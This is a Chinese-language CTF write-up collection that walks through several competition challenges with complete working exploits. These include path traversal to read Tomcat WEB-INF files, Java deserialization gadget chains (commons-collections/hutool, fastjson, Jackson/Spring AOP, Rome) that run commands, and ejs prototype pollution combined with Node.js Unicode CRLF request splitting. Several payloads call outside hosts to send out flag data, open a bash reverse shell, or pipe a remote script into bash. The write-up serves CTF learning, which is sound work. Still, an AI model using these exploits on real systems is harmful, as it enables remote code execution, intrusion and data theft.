看到有一个路径,里面有WEB-INF,题目提示与java有关,那应该是web.xml文件泄露,尝试读取
filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
以及class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
CISCN deserbug
查看lib依赖分别是common-colletions-3.2.2
和hutool-all-5.8.18
两个版本
刚开始想到是直接打CC链,但是这里版本是3.2.2
commons-collections
从3.2.2
版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true
以下类不能够使用
WhileClosure
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory
查看自定义的类发现一个实例化方法,我们可以联想到CC3的TrAXFilter
而题目给了提示:
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
而LazyMap.get()可以调用put:
如果map中不包含该键,则通过 factory 对象的 transform 方法生成对应的值,并将键值对put到映射中,然后返回该值。所以需要传入的map为JSONObject即可触发JSONObject#put
也就是说前面我用一个调用put的链子,后面使用templates动态加载字节码即可,我们使用CC3链
HashMap#readObject()->
HashMap#hash()->
TiedMapEntry#hashCode()->
TiedMapEntry#getValue()->
LazyMap#get()->
cn.hutool.json.JSONObject.put()->
Myexpect#getAnyexcept()->
TrAXFilter#constructor()
->TemplatesImpl#newTransformer()
->Runtime.exec
payload如下
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.corba.se.pept.transport.InboundConnectionCache;
import com.sun.deploy.panel.JreFindDialog;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import sun.misc.Unsafe;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import static java.lang.reflect.AccessibleObject.setAccessible;
public class Exp {
public static void setFieldValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field namefield=tc.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaaaa");
Field bytecodesfield=tc.getDeclaredField("_bytecodes");
bytecodesfield.setAccessible(true);
byte[] code=Files.readAllBytes(Paths.get("SpringEcho.class"));
byte[][] codes= new byte[][]{code};
bytecodesfield.set(templates,codes);
// private Class[] typeparam;
// private Object[] typearg; // private Class targetclass; Myexpect myexpect=new Myexpect();
setFieldValue(myexpect,"targetclass",TrAXFilter.class);
setFieldValue(myexpect,"typeparam",new Class[] {Templates.class});
setFieldValue(myexpect,"typearg",new Object[] {templates});
JSONObject jsonObject=new JSONObject();
Map<Object,Object> lazyMap=LazyMap.decorate(jsonObject,new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry,"bbb");
//和urldns一样需要把键值去掉,才能保证链子的执行
lazyMap.remove("aaa");
Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,new ConstantTransformer(myexpect));
serialize(map2);
}
public static void serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}
西湖论剑 real_ez_node
考点:ejs原型链污染、NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。
源码如下
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/', (req, res) => {
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy', (req, res) => {
res.setHeader('Content-type', 'text/html;charset=utf-8')
let user = {};
for (let index in req.body) {
if (!index.includes("__proto__")) {
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function (req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url, (res1) => {
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => {
rawData += chunk;
res.end('request success')
});
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData + '');
} catch (e) {
res.end(e.message + '');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error + '');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
safeobj模块里的expand方法, 直接递归按照 . 做分隔写入 obj
绕过过滤+更改命令后,将污染ejs的payload按上述方式转换为:
__proto__
被过滤,使用constructor.prototype
绕过。
payload如下
(实例对象)foo.__proto__ == (类)Foo.prototype
{
"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}
Nodejs的HTTP库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车\r、换行\n或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用。那就用非正常的。
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:
当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1
写入路径时,这些字符将分别被截断为 \r
(%0d)和 \n
(%0a):
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
\u{010D}\u{010A}
这样的 string 被编码为 latin1 之后就只剩下了 \r\n
,于是就能用来做请求拆分(CRLF)了,这就是非正常的CRLF。
exp
import urllib.parse
import requests
host = "127.0.0.1"
content = '''{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/1.116.160.155/2400 0>&1\\"');//"}'''
content_length = len(content)
payload=""" HTTP/1.1
POST /copy HTTP/1.1
Host: {}
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: {}
{}
GET / HTTP/1.1
test:""".format(host,content_length,content)
payload=payload.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret
payloads = payload_encode(payload)
r = requests.get('http://127.0.0.1:3000/curl?q=' + urllib.parse.quote(payloads))
print(r.text)
成功反弹shell
参考:西湖论剑real_ez_node_cve-2022-29078代码注入利用条件-CSDN博客
西湖论剑 ez_api
有jetty对路径的waf
<filter-mapping>
<filter-name>loginfilter</filter-name>
<url-pattern>/api/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>loginfilter</filter-name>
<filter-class>com.dbappsecurity.common.loginFilter</filter-class>
</filter>
使用filter时匹配URL 校验权限时,
jetty 在匹配filter 时,使用了相对严格匹配模式,导致
/api/test 命中匹配规则 /api/* 返回权限校验失败
//api/test 没有命中规则 /api/* 从而绕过filter,并返回对应信息
反序列化利用点
package com.dbappsecurity.common.controller;
import com.dbappsecurity.common.CustomObjectInputStream;
import com.dbappsecurity.common.Data;
import java.io.ByteArrayInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
@Controller
/* loaded from: ApiController.class */
public class ApiController {
@RequestMapping(value = {"/api/test"}, method = {RequestMethod.GET})
public String test(Data data, ModelMap map) throws Exception {
CustomObjectInputStream ois = new CustomObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data.getData())));
ois.readObject();
ois.close();
return "api";
}
}
并且lib库只有spring和fastjson 1.2.48低版本依赖
方法一
EventListenerList利用链触发tostring
EventListenerList --> UndoManager#toString() -->
Vector#toString() -->
exp如下
package exp;
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Exp {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
//恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception{
//使用链子BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter#toString
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("touch /tmp/success")});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
HashMap hashMap = new HashMap();
hashMap.put(templates,eventListenerList);
//使用user类进行序列化
byte[] bytes=serialize(hashMap);
System.out.println((Base64.getEncoder().encodeToString(bytes)));
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
方法二
利用链hashmap readobject ->TextAndMnemonicHashMap#toString()
HashMap#readObject()->
HashMap#putVal()->
AbstractMap.equals()->
TextAndMnemonicHashMap#toString()
package exp;
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;
import java.io.IOException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class fastjson {
public static void main(String[] args) throws Throwable {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl=new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesImpl);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(jsonArray,"222");
map2.put(jsonArray,"111");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,1);
map1.put(jsonArray, null);
map2.put(jsonArray, null);
byte[] result=serialize(hashtable);
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield = object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object, value);
}
public static byte[] serialize(Object object) throws IOException {
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
return byteArrayOutputStream.toByteArray();
}
public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"touch /tmp/success\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}
方法三
HotSwappableTargetSource链子触发toString
依赖条件 ● jackson-databind、spring-aop
HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString
exp如下
package exp;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.IOException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class jacksonserialize {
public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"touch /tmp/as\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void main(String[] args) throws Exception {
CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
TemplatesImpl templatesImpl=new TemplatesImpl();
setValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setValue(templatesImpl, "_name", "aiwin");
setValue(templatesImpl, "_tfactory", null);
JSONObject jsonObject = new JSONObject();
jsonObject.put("g","m");
JSONObject jsonObject1 = new JSONObject();
jsonObject1.put("g",templatesImpl);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(v1,v1);
hashMap.put(v2,v2);
setValue(v1,"target",jsonObject1);
serialize(hashMap);
}
public static void setValue(Object obj,String field,Object value) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}
}
D^3CTF shorter
题目给了Rome 1.0的依赖,可以打rome反序列化
源码如下:
package web.challenge.shorter.controller;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
/* loaded from: MainController.class */
public class MainController {
@GetMapping({"/hello"})
public String index() {
return "hello";
}
@PostMapping({"/hello"})
public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException {
if (baseStr.length() >= 1956) {
return "too long";
}
new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(baseStr))).readObject();
return "hello";
}
}
由于限制了长度正常的反序列化链不能够成功rce,非预期解是通过Java反序列化Payload缩小技术用javassit把eval方法重写一遍
java rce的两张方式:runtime.exec();process.start() ; runtime.exec()不支持|
>
<
,所以可以考虑ProcessBuilder().start()
构造exp
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Exp {
public static void setFieldValue(Object obj,String fieldname,Object value)
throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
"String[] arrCmd = {\"bash\",\"-c\",\"curl 47.120.33.255/a|bash\"};"+
"ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);\n" +
"Process p = processBuilder.start();\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception{
//TemplateImpl 动态加载字节码
byte[] code = getTemplatesImpl("calc");
// byte[] code = ClassPool.getDefault().get("com.HelloTemplatesImpl").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
EqualsBean bean = new EqualsBean(String.class,"jiang");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",obj);
map2.put("zZ",bean);
map2.put("yy",obj);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
成功反弹shell
通过实践各大比赛Java反序列化链gadget的利用,对链子之间的配合连接以及适用情况更加熟练,希望对师傅们的Java反序列化链学习有所帮助。